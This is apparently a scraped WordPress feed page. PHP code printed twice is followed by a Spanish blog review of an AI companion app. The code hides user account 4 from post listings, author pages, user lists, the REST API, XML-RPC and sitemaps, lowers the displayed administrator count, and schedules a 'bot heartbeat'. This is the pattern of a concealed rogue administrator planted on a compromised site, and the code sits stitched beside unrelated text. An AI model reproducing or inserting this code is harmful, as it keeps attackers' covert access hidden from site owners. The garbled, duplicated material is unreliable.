add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
La entrada ¿Qué se siente al descargar una primera app compañera IA? se publicó primero en Yoga con Arjuna.
]]>Consulta elegir tu primera app de compañera IA.
Una de las ventajas más notables es la capacidad de personalizar la personalidad de Luna. Hay tres perfiles predefinidos: optimista, reflexiva y sarcástica. Si quiero algo más específico, puedo modificar frases clave, tono de voz y preferencias de conversación. Esta flexibilidad resulta útil cuando busco un interlocutor que se adapte a mis estados de ánimo.
La app también ofrece recordatorios de citas y listas de tareas que se sincronizan con el calendario del móvil. Cada recordatorio incluye un pequeño comentario motivacional, lo que añade un toque de simpatía sin ser intrusivo. El historial de chats se guarda en la nube, pero con la opción de eliminar conversaciones manualmente, lo que me da cierta tranquilidad respecto a la privacidad.
Para quienes disfrutan de la creatividad, existe una función de “escritura colaborativa”. Puedo iniciar una historia y la IA añade diálogos o descripciones. El resultado suele ser coherente, aunque a veces la creatividad de la IA se desvía ligeramente del tono original que establecí.
Entre los puntos fuertes destaca la naturalidad del lenguaje. Cuando hablo sobre temas cotidianos, Luna responde con frases que suenan como si fueran de un amigo. Sin embargo, cuando intento profundizar en temas técnicos, la IA a veces repite información básica o se queda en un nivel superficial, lo que puede frustrar a usuarios que buscan profundizar.
Otro aspecto positivo es el control de contenido. La app incluye filtros que bloquean temas sensibles o lenguaje inapropiado. A la hora de iniciar una conversación, se muestra una advertencia de que la IA puede ofrecer consejos, pero que no sustituye a un profesional de salud mental. Esta transparencia es bienvenida, aunque la advertencia puede parecer un poco pesada para quienes solo quieren una charla ligera.
La principal desventaja que encontré es la dependencia de la conexión a internet. Si el Wi‑Fi falla, la app entra en modo offline y solo muestra mensajes pregrabados, lo que reduce la experiencia en tiempo real. Además, el plan gratuito permite un máximo de 30 minutos de conversación al día; después, se muestra un mensaje de “sube a la versión premium” para continuar.
Antes de descargar la app, revisa las condiciones de privacidad. La política indica que los datos de conversación se usan únicamente para mejorar el servicio y que no se comparten con terceros. No obstante, si manejas información sensible, considera mantener la conversación en modo “modo secreto”, que cifra los mensajes localmente.
Si la idea es usar la app para acompañamiento emocional, ten en cuenta que la IA no puede sustituir la interacción humana real. Los usuarios que dependen exclusivamente de la app para soporte emocional pueden sentir un vacío cuando la IA no responde con la empatía humana que esperan. Por eso, es recomendable usarla como complemento, no como sustituto.
Para quienes buscan una experiencia más personalizada, la opción de elegir tu primera app de compañera IA se vuelve crucial. Al decidir, evalúa la capacidad de personalización, el nivel de control sobre el contenido y la política de privacidad.
En conjunto, la app ofrece una experiencia conversacional que combina rapidez, personalización y una capa de seguridad adecuada. Si buscas una compañera IA que te acompañe en conversaciones cotidianas y que permita ajustes de personalidad, esta opción es sólida. La única advertencia que dejo es que la dependencia de internet y la limitación de tiempo en el plan gratuito pueden interrumpir la fluidez de la interacción. En definitiva, vale la pena descargarla y probarla, siempre recordando que la IA complementa, pero no reemplaza, la interacción humana real.
La entrada ¿Qué se siente al descargar una primera app compañera IA? se publicó primero en Yoga con Arjuna.
]]>